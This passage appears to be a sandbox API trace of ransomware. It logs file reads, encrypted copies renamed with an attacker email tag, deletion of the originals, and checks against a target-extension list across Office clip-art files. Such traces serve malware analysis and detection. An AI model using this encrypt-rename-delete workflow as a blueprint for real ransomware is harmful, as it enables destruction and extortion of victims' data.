	[0274.129] WriteFile (in: hFile=0x388, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.129] SetEndOfFile (hFile=0x388) returned 1
	[0274.129] CloseHandle (hObject=0x388) returned 1
	[0274.129] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.129] SetEndOfFile (hFile=0x328) returned 1
	[0274.131] CloseHandle (hObject=0x328) returned 1
	[0274.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.131] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf")) returned 1
	[0274.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63
	[0274.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63
	[0274.131] lstrlenW (lpString=".doc") returned 4
	[0274.131] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.131] lstrlenW (lpString=".docx") returned 5
	[0274.131] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0274.131] lstrlenW (lpString=".pdf") returned 4
	[0274.131] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.131] lstrlenW (lpString=".xls") returned 4
	[0274.131] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.131] lstrlenW (lpString=".xlsx") returned 5
	[0274.132] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0274.132] lstrlenW (lpString=".ppt") returned 4
	[0274.132] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63
	[0274.132] lstrlenW (lpString=".zip") returned 4
	[0274.132] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.132] lstrlenW (lpString=".rar") returned 4
	[0274.132] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.132] lstrlenW (lpString=".bz2") returned 4
	[0274.132] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.132] lstrlenW (lpString=".7z") returned 3
	[0274.132] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63
	[0274.132] lstrlenW (lpString=".dbf") returned 4
	[0274.132] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63
	[0274.132] lstrlenW (lpString=".1cd") returned 4
	[0274.132] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63
	[0274.132] lstrlenW (lpString=".jpg") returned 4
	[0274.132] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.133] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=5812) returned 1
	[0274.133] CloseHandle (hObject=0x328) returned 1
	[0274.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf")) returned 0x20
	[0274.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0274.133] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.133] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0274.133] GetLastError () returned 0x0
	[0274.133] ReadFile (in: hFile=0x328, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x16b4, lpOverlapped=0x0) returned 1
	[0274.135] WriteFile (in: hFile=0x388, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x16c0, lpOverlapped=0x0) returned 1
	[0274.136] ReadFile (in: hFile=0x328, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.136] WriteFile (in: hFile=0x388, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.136] SetEndOfFile (hFile=0x388) returned 1
	[0274.136] CloseHandle (hObject=0x388) returned 1
	[0274.136] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.136] SetEndOfFile (hFile=0x328) returned 1
	[0274.138] CloseHandle (hObject=0x328) returned 1
	[0274.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.138] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf")) returned 1
	[0274.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63
	[0274.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63
	[0274.139] lstrlenW (lpString=".doc") returned 4
	[0274.139] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.139] lstrlenW (lpString=".docx") returned 5
	[0274.139] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0274.139] lstrlenW (lpString=".pdf") returned 4
	[0274.139] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.139] lstrlenW (lpString=".xls") returned 4
	[0274.139] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.139] lstrlenW (lpString=".xlsx") returned 5
	[0274.139] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0274.139] lstrlenW (lpString=".ppt") returned 4
	[0274.139] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63
	[0274.139] lstrlenW (lpString=".zip") returned 4
	[0274.139] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.139] lstrlenW (lpString=".rar") returned 4
	[0274.139] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.139] lstrlenW (lpString=".bz2") returned 4
	[0274.139] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.139] lstrlenW (lpString=".7z") returned 3
	[0274.139] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63
	[0274.139] lstrlenW (lpString=".dbf") returned 4
	[0274.139] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63
	[0274.139] lstrlenW (lpString=".1cd") returned 4
	[0274.139] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63
	[0274.139] lstrlenW (lpString=".jpg") returned 4
	[0274.139] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.140] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=23548) returned 1
	[0274.140] CloseHandle (hObject=0x328) returned 1
	[0274.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf")) returned 0x20
	[0274.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0274.141] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.141] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0274.141] GetLastError () returned 0x0
	[0274.141] ReadFile (in: hFile=0x328, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x5bfc, lpOverlapped=0x0) returned 1
	[0274.143] WriteFile (in: hFile=0x388, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x5c00, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x5c00, lpOverlapped=0x0) returned 1
	[0274.144] ReadFile (in: hFile=0x328, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.144] WriteFile (in: hFile=0x388, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.144] SetEndOfFile (hFile=0x388) returned 1
	[0274.144] CloseHandle (hObject=0x388) returned 1
	[0274.144] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.144] SetEndOfFile (hFile=0x328) returned 1
	[0274.148] CloseHandle (hObject=0x328) returned 1
	[0274.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.148] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf")) returned 1
	[0274.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63
	[0274.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63
	[0274.149] lstrlenW (lpString=".doc") returned 4
	[0274.149] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.149] lstrlenW (lpString=".docx") returned 5
	[0274.149] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0274.149] lstrlenW (lpString=".pdf") returned 4
	[0274.149] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.149] lstrlenW (lpString=".xls") returned 4
	[0274.149] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.149] lstrlenW (lpString=".xlsx") returned 5
	[0274.149] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0274.149] lstrlenW (lpString=".ppt") returned 4
	[0274.149] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63
	[0274.149] lstrlenW (lpString=".zip") returned 4
	[0274.149] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.149] lstrlenW (lpString=".rar") returned 4
	[0274.149] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.149] lstrlenW (lpString=".bz2") returned 4
	[0274.149] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.149] lstrlenW (lpString=".7z") returned 3
	[0274.149] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63
	[0274.149] lstrlenW (lpString=".dbf") returned 4
	[0274.149] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63
	[0274.149] lstrlenW (lpString=".1cd") returned 4
	[0274.149] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63
	[0274.149] lstrlenW (lpString=".jpg") returned 4
	[0274.149] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.151] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=11900) returned 1
	[0274.151] CloseHandle (hObject=0x388) returned 1
	[0274.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf")) returned 0x20
	[0274.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0274.152] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.152] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0274.153] GetLastError () returned 0x0
	[0274.153] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x2e7c, lpOverlapped=0x0) returned 1
	[0274.154] WriteFile (in: hFile=0x334, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x2e80, lpOverlapped=0x0) returned 1
	[0274.155] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.155] WriteFile (in: hFile=0x334, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.155] SetEndOfFile (hFile=0x334) returned 1
	[0274.155] CloseHandle (hObject=0x334) returned 1
	[0274.155] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.155] SetEndOfFile (hFile=0x388) returned 1
	[0274.158] CloseHandle (hObject=0x388) returned 1
	[0274.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.158] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf")) returned 1
	[0274.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63
	[0274.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63
	[0274.158] lstrlenW (lpString=".doc") returned 4
	[0274.158] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.158] lstrlenW (lpString=".docx") returned 5
	[0274.158] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0274.158] lstrlenW (lpString=".pdf") returned 4
	[0274.158] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.158] lstrlenW (lpString=".xls") returned 4
	[0274.158] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.158] lstrlenW (lpString=".xlsx") returned 5
	[0274.158] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0274.158] lstrlenW (lpString=".ppt") returned 4
	[0274.159] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63
	[0274.159] lstrlenW (lpString=".zip") returned 4
	[0274.159] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.159] lstrlenW (lpString=".rar") returned 4
	[0274.159] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.159] lstrlenW (lpString=".bz2") returned 4
	[0274.159] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.159] lstrlenW (lpString=".7z") returned 3
	[0274.159] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63
	[0274.159] lstrlenW (lpString=".dbf") returned 4
	[0274.159] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63
	[0274.159] lstrlenW (lpString=".1cd") returned 4
	[0274.159] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63
	[0274.159] lstrlenW (lpString=".jpg") returned 4
	[0274.159] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.160] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=19600) returned 1
	[0274.160] CloseHandle (hObject=0x388) returned 1
	[0274.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf")) returned 0x20
	[0274.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0274.160] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.160] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0274.160] GetLastError () returned 0x0
	[0274.160] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x4c90, lpOverlapped=0x0) returned 1
	[0274.400] WriteFile (in: hFile=0x334, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x4ca0, lpOverlapped=0x0) returned 1
	[0274.401] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.401] WriteFile (in: hFile=0x334, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.401] SetEndOfFile (hFile=0x334) returned 1
	[0274.622] CloseHandle (hObject=0x334) returned 1
	[0274.629] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.632] SetEndOfFile (hFile=0x388) returned 1
	[0274.649] CloseHandle (hObject=0x388) returned 1
	[0274.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.650] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf")) returned 1
	[0274.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63
	[0274.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63
	[0274.650] lstrlenW (lpString=".doc") returned 4
	[0274.650] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.650] lstrlenW (lpString=".docx") returned 5
	[0274.650] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0274.650] lstrlenW (lpString=".pdf") returned 4
	[0274.650] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.650] lstrlenW (lpString=".xls") returned 4
	[0274.650] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.650] lstrlenW (lpString=".xlsx") returned 5
	[0274.650] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0274.650] lstrlenW (lpString=".ppt") returned 4
	[0274.650] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63
	[0274.650] lstrlenW (lpString=".zip") returned 4
	[0274.650] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.650] lstrlenW (lpString=".rar") returned 4
	[0274.650] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.651] lstrlenW (lpString=".bz2") returned 4
	[0274.651] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.651] lstrlenW (lpString=".7z") returned 3
	[0274.651] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63
